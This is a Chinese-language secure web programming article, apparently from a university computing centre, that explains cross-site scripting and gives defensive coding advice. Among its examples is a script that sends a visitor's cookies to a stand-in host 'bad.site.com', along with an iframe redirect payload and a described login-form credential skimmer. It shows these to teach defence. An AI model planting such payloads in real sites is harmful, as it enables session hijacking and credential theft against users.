作者:張傑生 / 臺灣大學計算機及資訊網路中心作業管理組
透過網路進行網購、網拍、賣買股票、基金或其它線上交易的網站安全嗎?攸關個人資料與財務金融相關的網路安全,設計人員該如何進行程式撰寫?這些都是相當值得探討的課題。必須提醒各位讀者的是,本文所敘述之各項範例,僅提供程式設計人員自我檢查並加以防範,切勿用在犯罪行為之上。
前言
隨著網際網路日漸普及,可以透過網路的服務也越來越多:從日常購物到銀行轉帳,甚至連違規罰單繳納也在服務之列。然而在使用這些便利服務的同時,卻不得不令人擔憂輸入的帳號密碼、信用卡號是否有可能遭到竊取,以及提供服務的網站的安全性是否值得信賴。身為網路服務提供者,如何提升網站安全性,保護使用者免於恐懼,乃是攸關服務提供者聲譽的首要任務。
根據SANS網站每年所公布的Top Security Vulnerabilities統計[1],我們可以發現過去幾年所發生的資訊安全事件,許多都是肇因於作業系統(Windows、Linux)本身,或者是網站伺服器(如IIS)程式的安全漏洞,造成駭客有機可乘,進而入侵破壞。然而經過無數次的挑戰與磨練,大部分能夠存活下來的軟體,都已經具備相當程度的安全等級。再加上Firewall與IDP等硬體式防護設備的盛行,因此近幾年所發生的資訊安全事件,反而多是網站本身的程式設計缺失所造成。由此可見,決定了網站未來對於惡意攻擊的防禦能力,取決於發展者是否具有良好的安全程式寫作觀念與技巧。
Cross Site Scripting (XSS)
如果造訪的網站是由知名企業所提供,是否就不至於發生資料遭竊或者是被植入後門程式?答案是否定的。惡意駭客善於利用人們的信賴,嘗試於正常網站插入惡意程式碼,故意讓一般使用者在不知情的狀況下,點選該連結,甚至無須點選即自動連線執行,進而竊取使用者資料。這種攻擊方式,被稱為Cross Site Scripting[5],簡稱XSS。駭客最常利用的網頁功能,包括拍賣網站、貼圖網站、新聞評論及blog的留言版。主要原因包括這些網頁具備高人氣特性,匯集眾多人潮,並且允許使用者輸入意見交流。為了提高使用者意願,鼓勵參與討論,這些留言版通常僅象徵性利用圖形辨識方法,進行簡單驗證,或者允許新註冊使用者流言,有的甚至完全不做身份驗證。如此一來,有心人士就可以在留言版大作手腳,傷害隨後造訪瀏覽的無辜使用者。
假設留言版被人輸入了以下程式碼:
<iframe src= "javascript:document.location.href='http://www.ntu.edu.tw';"></iframe>
那麼後續的使用者一旦瀏覽網站,就會立即自動在網頁的某個區塊中,看到台灣大學首頁。假設當初填寫資料的人只是出於惡作劇心理,或者是商業廣告宣傳手法,那麼一般使用者除了被騷擾以及佔用無謂時間外,至少沒有受到任何實質傷害。然若以上連結網址被改成某惡意網站程式,那麼所有後續瀏覽的使用者,都會在不知情的狀況下,執行該惡意程式。如果系統的防毒軟體沒有即時發揮攔阻功效,後果可能就是系統中毒,或者遭到植入後門程式。
另一種XSS攻擊方式,則是嘗試竊取使用者身份,以便未來冒充使用者,牟取不法利益。舉例來說,在拍賣網站的交易模式下,最怕遇到有人冒充買賣雙方,拐騙對方將款項匯至其他帳戶,或者是將商品寄到其他地址。許多網站為了提升使用者便利性,避免每次造訪都需要重新輸入帳號密碼,因此會採用client side cookie儲存使用者身份,以利下次連線至網站時取代身份認證。可以想見,cookie便成為駭客垂涎的肥肉。假設駭客嘗試將以下java script程式碼藏在某拍賣網站的留言版內:
<script>document.location.href=’http://bad.site.com/steal.php?cookie=’+document.cookie;</script>
一旦買賣雙方開啟留言版網頁,上述程式碼將自動執行,相關的cookie資訊就會被送往遠端的惡意網站儲存,未來使用者身份則很可能遭到盜用而不自知。更慘的是,許多頑固的使用者還會以絕對沒有透露密碼為由,不相信帳號已經遭竊。
更進一步的XSS應用,必須利用網站登入網頁的程式缺失,進而盜取使用者的帳號密碼。假設某拍賣網站甚至某銀行網站的登入頁面,對於使用者輸入的帳號、密碼欄位沒有特別過濾、處理,那麼在常見的帳號密碼錯誤處理情況下,網頁為了方便使用者,會直接將使用者輸入的帳號字串顯示出來,例如:testuser,您的密碼錯誤,請重新回憶。倘若惡意使用者發現在帳號欄位輸入<script>alert(‘hello’)</script>,而網站會忠實地在登入的下一頁跳出’hello’視窗,那麼這個網站的登入程式很可能適合進行XSS攻擊。常見的作法是,影響原本程式碼的FORM部分,插入惡意java script程式,利用onsubmit function,在submit帳號密碼時,會先把輸入的帳號密碼傳送一份到遠端惡意網站,然後才進行真正的登入動作。相同地,對於使用來說,原本的網站仍舊可以正常登入,正常使用。然而完全在不自覺的情況下,帳號密碼卻已經外洩。這種XSS攻擊應用,雖然可以獲得的資訊價值較高,然而成功的門檻較高,而且需要藉助其他方法,才能誘騙使用者click假造的link。時下流行的釣魚網站、釣魚信件,就是利用人們的好奇或貪婪,引誘使用者click某些圖片,之後瀏覽器就會自動轉向有問題的網址,等候使用者上鉤。
為了解決部分XSS與釣魚網站問題,許多新版瀏覽器或多或少都有加入些許偵測機制,希望能夠透過預警機制,降低使用者受害機會。然而道高一尺,魔高一丈,XSS與釣魚網站使用的技術與創意也持續在演化、進展,因此在可預見的未來,仍舊難以獲得有效的全面性解決之道。
3. 安全寫作建議
看完以上常見程式漏洞,接下來我們將提出幾點建議,供程式開發人員參考。
使用加密連線傳輸資料
透過https(SSL、TLS)加密連線方式,確保所有傳輸內容不會遭到攔截、竊聽甚至竄改,達到安全基本要求CIA規範中的Confidentiality與Integrity,可以有效消弭man-in-the-middle attack、session hijack或session re-play attack發生的可能性。雖然這種防護措施看起來與程式寫作無關,但是我們認為,程式設計人員規劃網站建置的第一步,必須向系統管理人員提出要求,確認伺服器支援https加密連線,以確保網站未來的營運安全。
最低權限(least privilege)政策
只要是上線運作,提供服務的系統,無論採用何等銅牆鐵壁般的嚴密防護,終究難以避免遭受惡意人士的嘗試滋擾。當網站不慎遭受入侵成功時,如何有效降低傷害,做好損壞控管,災害隔離,這才是檢驗系統是否有事前規劃資訊安全防護的最佳實證。最常被廣為運用的策略,即為最低權限政策。利用低權限帳號執行某些工作,可保障一旦出問題時,不至於影響其他帳號、其他工作,甚至網站本身以及作業系統之運作。以下列出幾點實務上的具體作法:
利用獨立帳號,例如:www或nobody,執行http daemon。絕對避免使用root身份執行。未來若遭惡意執行程式,其執行身份也將是該獨立帳號。因此損害範圍可侷限在該帳號之管轄區域,例如網站本身目錄。至少不至於讀取系統機密檔案,或者覆蓋任何重要檔案。
設定網站程式目錄及檔案的擁有者(例如:root、user1)不同於上述網站程式的執行帳號(例如:www、nobody)。如此即便發生入侵事件,由於駭客取得的身份為網站程式的執行帳號,因而無法竄改或覆蓋網站程式,至多僅能利用讀取方式竊取資料,如此可有效降低網站受害程度。
嚴格設定database帳號權限。如果沒有修改資料必要,僅允許SELECT權限。並且檢討給予DELETE權限之必要性。尤其絕對不能以系統管理者身份(例如MSSQL之sa)連接資料庫,以避免遭受SQL Injection或其他入侵攻擊時,損害程度一發不可收拾。
資料庫端之安全設計
規劃table schema,依照資料特性分配不同table,並分別定義存取權限。未來僅允許網站程式寫入某幾個table,例如:使用記錄與購物列表,以降低資料遭誤寫或竄改之威脅。
避免以DELETE方式修改資料。例如當顧客想要取消某一筆訂單時,建議採用INSERT一筆取消訂單方式為之。當顧客想要修改一筆訂單時,建議採用INSERT一筆取消訂單,然後再INSERT一筆新訂單方式處理。若上述方式有執行困難,再考慮以UPDATE註記某欄位方式進行,但務必以其他方式留下記錄,以利追查。在資料庫端所給予之存取權限,可以嚴格侷限於INSERT或UPDATE。如此不但方便未來查詢顧客更改歷程,也可以有效避免table遭到不慎或惡意清除之威脅。
以store procedure方式存取table,取代直接執行SQL指令。通常有許多重要且敏感的table是無可避免必須接受更新,例如顧客的購物清單。比較安全的建議作法是,預先設計資料讀取及更新的store procedure,未來網站程式需要讀取或更新table時,直接呼叫store procedure,而不是以SQL指令進行INSERT、SELECT。只要store procedure之設計足夠嚴謹,將可有效防護table之安全性,提升資料正確性,降低風險。
如果是MS SQL產品,除非必要,否則請務必關閉所有延伸預存程序(extended stored procedures)支援,以避免遭惡意攻擊。根據經驗,對於一般網站來說,這些功能幾乎鮮少被使用,若沿用預設啟動的設定,只會無端增加系統安全風險,得不償失。
利用Server side之Session功能傳遞參數
藉由先前所描述之安全漏洞可以得知,許多問題的根源都是來自不安全的參數傳遞方式,其中尤以GET為最。然而目前成熟的網頁程式環境,包括:ASP.NET與PHP、Java等,都已經提供server side的session功能。由server side統一進行session建立、檢查、刪除等維護工作,可以有效降低人為疏失造成的安全漏洞,並且大幅簡化程式設計人員的負擔。未來在程式開發時,只要盡量將頁面之間的變數傳遞改用session方式,即可免於參數遭使用者惡意竄改之威脅。舉例來說,使用者通過帳號密碼驗證後,即可將使用者名稱存放於server side的session variable中,未來如果需要進行成績查詢、地址更改等功能,對應的query.php及address.php程式可以直接從session variable中取得使用者名稱,而不必再利用GET、POST等方式傳遞資料,杜絕因為參數遭竄改所引發之安全漏洞。
(下期將介紹【網站程式安全寫作(三)─Secure Programming for Web Applications】)